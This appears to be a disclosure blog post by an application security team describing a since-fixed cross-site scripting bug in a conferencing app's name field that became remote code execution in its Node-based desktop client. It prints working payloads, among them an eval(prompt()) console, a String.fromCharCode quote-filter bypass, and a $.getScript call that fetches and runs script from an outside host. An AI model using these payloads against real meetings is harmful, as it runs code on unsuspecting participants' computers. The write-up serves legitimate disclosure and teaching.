Note: this has been fixed.

XSS to RCE “yeah right, RSnake”

I accidentally triggered a cross-site scripting (XSS) vulnerability in <conf provider X> that worked when using the web application as well as the native OS X application (and possibly additional clients). Nowadays, XSS -> Remote Code Execution (RCE) is possible thanks to Node. For every person in any meeting that I join, I could execute code on their computer.

Standup

I entered a meeting with the classic first name of <img src=x onerror=alert()> (the bobby tables of XSS). A few minutes into the conversation, patrick noticed a broken image pop up. Uh oh. When I asked if he also saw an alert box, my colleague ben chimed in and said yes.

So we have XSS. Sweet. In at least two clients. Hmmm, this could be bad.

chat

eval(prompt())

We noticed that there was some filtering going on (such as stripping quotes), so we’d have to use String.toCharCode to generate any string values. The web app enforced a value length but this is easily bypassed with a proxy and was not enforced in the desktop client. ben quickly came up with a good way to explore the impact of this xss with a simple debug console:

<img src=x onerror=eval(prompt())> (35 chars)

This lets us generate payloads without having to generate toCharCode code each time. Sure this isn’t difficult, but an executing prompt is so much easier to use.

Exploring the native app

greg took a look at the <conf provider X> native application and noticed it used Node. Perhaps process.open would work.

It did.

chat

Putting it all together

That’s when ben put everything together using a very short payload:

<img src=x onerror=$.getScript(String.fromCharCode(47,47,120,111,114,46,99,99))> (80 chars)

Now join any existing meeting and enter the above payload as your name. Everyone in the room see an alert box. Those using the native apps will also see their calculators open.

Alert

Calculator!

How it works

The use of String.fromCharCode is just a classic way to bypass filtering/escaping of quotes. String.fromCharCode(47,47,120,111,114,46,99,99) is //xor.cc.

The payload can be simplified as:

<img src=x onerror=$.getScript("//xor.cc")>

$.getScript tells jQuery to fetch and execute the javascript at xor.cc. The fetched javascript that opens the calculator is:

process.open("/Applications/Calculator.app/Contents/MacOS/Calculator"); (72 chars)

Why it sort of matters

XSS is XSS is XSS. But XSS in an app with an API to the filesystem is XSS is worse. <conf provider X> meetings typically are… unauthenticated. Everyone raise your hand. Now put down your hand if you have required password authentication for every meeting you have joined. Look to your left, look to your right, and notice everyone’s hand is still up. If you’ve used <conf provider X>, chance are you’ve used it in a manner that let’s this exploit work on any publicly known or guessable <conf provider X> meeting ID. I did not try to brute force the meeting space for open meetings. That would have been bad.

Calculators

You can’t have a good exploit unless calculators are involved. See PDF content-type sniffing for an even better use of calculators in an attack.

calc!!!

Conclusion

Big ups to the GitHub appsec team. Within one hour we went from XSS to RCE. And it played out like something in one of those movies or TV shows. “We popped a faux console using eval and prompt while ripping open the binary to leverage a libary with system access to perform remote code execution… to open a calculator.” Most of the credit has to go to ben and greg, I just found XSS and I wouldn’t have even known without patrick.

Did I mention that we’re hiring an intern for the appsec team?